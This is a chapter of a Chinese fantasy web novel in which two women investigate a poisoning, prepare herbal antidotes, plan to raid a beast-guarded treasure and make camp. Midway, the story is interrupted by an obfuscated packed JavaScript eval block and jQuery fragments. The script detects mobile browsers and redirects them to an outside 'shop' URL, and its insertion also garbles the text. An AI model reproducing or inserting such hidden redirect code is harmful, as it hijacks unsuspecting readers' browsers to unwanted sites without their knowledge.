顾知微和戚慈伏低身体,藏在灌木后,一动不敢动。
那两人似乎低声交谈了句什么,距离太远听不真切。随后,他们快速地在壮汉身上摸索了一番,又警惕地环视四周。其中一人似乎还朝她们这个方向瞥了一眼,但浓雾和枝叶提供了很好的遮蔽。
很快,两人便悄无声息地没入了另一侧的迷雾中,消失不见。
她们又耐心地等待了许久,直到确认那两人真的离开,且周围再无异动,戚慈才极轻地吐出一口气,示意顾知微跟着她,慢慢靠近那片空地。
壮汉仰面倒在地上,双目圆睁,七窍流血,脸上凝固着惊愕与痛苦交织的表情。他身上衣物完好,不见有其他伤口。
“没有剑伤。”戚慈蹲下身,仔细查看,声音很轻,“之前你说他们在谷口就盯着咱们,我原以为是些正道门派的酸儒,瞧不上咱们这些跑山野的,把咱们当旁门左道多盯了两眼,现在看来,是揣着一肚子的坏水,根本不是什么好路数。”她摇了摇头,眼神冷了下来,“他们是另有打算,而且居心叵测。”
顾知微也观察着尸体,强忍着不适:“是毒?”
“没错,是红雨散,中毒者口鼻眼耳溢血如雨。”戚慈肯定地点头,她没去碰尸体,而是仔细查看周围的地面,尤其是壮汉手边和口鼻附近,“我问过这里的草木了,这大个子是最先到的,在那边摘了颗红果子,当场就吃了。这地方除了那果子,没什么稀罕药材,那两个家伙是后脚来的。”
“就为了一颗已经下肚的果子,难不成是泄愤?”顾知微眉尖微蹙,后背窜起一阵寒意。
“哪是泄愤,是谋算。”戚慈摇了摇头,眼神冷了下来,“这大个子看着莽撞,能单槍匹马闯进来,手里肯定有两把刷子,那两人是借果子的由头,先除了竞争对手。他们之前盯上咱们,绝不是偶然,我问过草木了,他们离开的方向,正是乌仙草可能在的方向。咱们得提前做准备,先配好应对红雨散的解药,不然真遇上了,要吃大亏。”
“戚姑娘,需要找什么药材,你只管吩咐,我虽不懂药理,但眼力、手脚都跟得上,绝不给你拖后腿。”顾知微立刻应道,语气里没有半分迟疑。
“跟我来。”戚慈站起身,拍了拍手上的尘土,辨明方向,带着她顺着草木的指引,走出了原本潮湿的密林,往另一片地界去了。
随着她们行进,周遭的环境逐渐变化,树木越发高大茂密,地上潮湿的苔藓变成了松软的、堆积深厚的腐叶,空气更加闷热,各种细微的、令人毛骨悚然的窸窣声明显多了起来——那是蛇虫鼠蚁在落叶层下爬行的动静。
戚慈手脚麻利地采集了几样气味奇特的草叶和根茎,现场用石头捣烂,混合在一起,分成两份,用随身带的干净布片包成两个小香囊。“给,系在腰上,气味能驱赶大部分蛇虫。”
果然,之后那些时不时从头顶枝叶间垂落、或从脚边快速窜过的小东西,明显少了很多。戚慈还在前面带路,她扭头问顾知微:“怎么样,这香囊一戴,那些爬来爬去的小东西,就不会往你头发上、衣领里钻了吧?”
她是有苦中作乐的天赋在的。顾知微看着她头巾上沾着的蛛网,忍不住上前一步,替她摘了下来,又弯了眼,唇角漾开笑意。
戚慈一直在前面开路,察觉到动静,回头看去,见顾知微原本整整齐齐的发髻已经彻底凌乱了,明明是落难小姐的模样,偏偏本人一点不觉得,还带着轻松的笑。
她忍不住也乐了:“这算好的了。我听‘它们’说,”她指了指周围的草木,“东边那片林子,终年弥漫着灰黑色的毒瘴,那才叫吓人。里头盘踞着个‘大家伙’,偶尔会溜达到边界附近。要是不小心闯进去,就算有解瘴气的药,碰上那个天生地养的凶兽,也是九死一生。”
戚慈说着,用一根树枝小心拨开脚边一条色彩斑斓的小蛇,从它盘踞过的温暖土窝里,挖出一株根部肥厚、形状奇特的草药。
“瞧,像这种有活物愿意在旁边守着、甚至盘着的,多半是好东西。”她将草药收好,又望了望东边,尽管被重重树木阻挡什么也看不见,她还是咂了咂嘴,脸上露出明显的遗憾和向往,“就是不知道那‘大家伙’守着的,究竟是什么宝贝……可惜,就凭咱俩,闯进去跟送菜没区别。”
顾知微看着她那眼馋又不得不克制的模样,觉得有些有趣,但忽然心念一动,一个大胆的念头冒了出来。她斟酌着语气,试探地问:“戚姑娘,若是我能暂时制住那个‘大家伙’,哪怕只是很短的时间,我们有没有可能取了宝物,然后安全脱身?”
戚慈正弯腰检查另一株植物,闻言猛地直起身,看向顾知微,眼睛瞪圆了:“制住?你的天赋能做到这种程度?”随即,她也认真起来,摸着下巴思索,“如果只是很短的时间,吓它一跳,让它慌乱,然后我们趁机偷……咳,取宝,扭头就跑,好像不是完全没可能?”
她越想越觉得有门,眼睛亮了起来:“那家伙再厉害,也是活物,是活物就有本能,会害怕。我们或许可以先想办法制造一个它最害怕、或者至少是极其警惕的动静或景象,然后用你的天赋,把这个‘害怕’在它脑子里放大!趁它被吓住、没反应过来的那点空档,我冲过去取东西,你随时准备接应或者补一下。得手后,我们立刻用我准备好的草药抹掉身上的气味,然后往反方向跑!”
她越说越快,显然对此道颇有心得:“消除气味是关键,不然被它循着味儿追上,咱俩都得完蛋。你的天赋,能维持多久?如果它跑出你的视线范围,还能不能继续影响它?”
两人就着这个突如其来的计划,蹲在草丛边,压低声音,热烈地讨论起来。顾知微详细解释了自己天赋的生效方式、范围和大概的持续时间,戚慈则根据她对兽类习性和草药的理解,补充细节,调整方案。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333137|199205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
片刻之后,一个虽然冒险、但步骤清晰的计划初步成型。两人都有些兴奋,又有些紧张。
“现在最大的问题,是进毒瘴林的解药。”戚慈摊手,“我手中现有的草药,对付普通蛇虫和浅表瘴气还行,进那种地方撑不住。得专门配一种更强的。走,我知道哪儿有需要的几味主药。”
她重新辨明方向,带着顾知微朝东边更深处走去。她们没有深入,而是沿着瘴气林的边缘小心搜寻,凭着与草木相通的天赋,精准找到配药需要的几味主药,就地开始炮制。
早前为了应对那两个剑客的红雨散,她们已经备了几样通用的解毒药材,此刻正好用上,配起专门解瘴气的药丸,也省了不少功夫。
顾知微则在一旁帮忙,学着辨认,处理药材,以及担任警戒。
时间在专注的忙碌中流逝,林间的光线越发昏暗,已近黄昏。戚慈终于将几颗颜色深褐、气味辛辣刺鼻的药丸配制完成,小心地用油纸包好。
“差不多了。”她捶了捶有些酸麻的腿,站起身,环顾四周,“今天来不及进去了。那林子白天晚上都一样黑,但晚上我们的劣势更大。先找个相对安全的地方过夜,养足精神,明天一早动手。”
她带着顾知微找到林间一条小小的活水流,水质看起来没问题。“今晚就在这儿歇吧。有水,地势也还算开阔,有什么东西靠近容易发现。”
顾知微准备起个篝火,她从周围捡拾了不少干燥的枯枝和宽大的树叶,堆放在溪边干燥的空地上。
戚慈则从褡裢里掏出几根坚韧的细绳和一把小巧的剥皮刀,钻进旁边的林子,不多时便拖着几根柔韧的长藤和许多新鲜的大叶子回来。
“来,帮我扶着。”
顾知微连忙起身帮忙,戚慈则手脚麻利地将长藤在两棵相距合适的树间绑紧,然后铺上层层叠叠的宽大树叶,很快,两张简陋却结实的悬空吊床就初具雏形。
她又进了林子拖了不少藤蔓出来,准备编两张粗糙的网,铺在吊床上,增加舒适度和透气性。
顾知微看她正忙,便走到溪水稍窄的一处,捡了几块石头,在岸边垒了个小水洼,与溪水相通。然后,她集中精神,对着溪水中几条优哉游哉的小鱼,轻轻施展天赋。
一条鱼摆了下尾巴,犹犹豫豫地游进了水洼。
她眼疾手快,用准备好的大叶子连水带鱼舀了起来,倒在岸上。那鱼在草地上蹦跶,她不太熟练但准确地用石头敲晕了它。如此反复,不多时,岸上便有了十来条巴掌长的银白色小鱼。
然后要怎么处理?顾知微扭头看向戚慈,戚慈还在编织吊床,但是一直注意着她这边的动静,此时过来用小刀剖开一条小鱼,处理干净后示意她试一试。
顾知微看着还在微微弹动的鱼,抿了抿唇,她深吸口气,捏起一条鱼,尝试着刮鳞,剖开,清理内脏。动作生涩,但稳而仔细。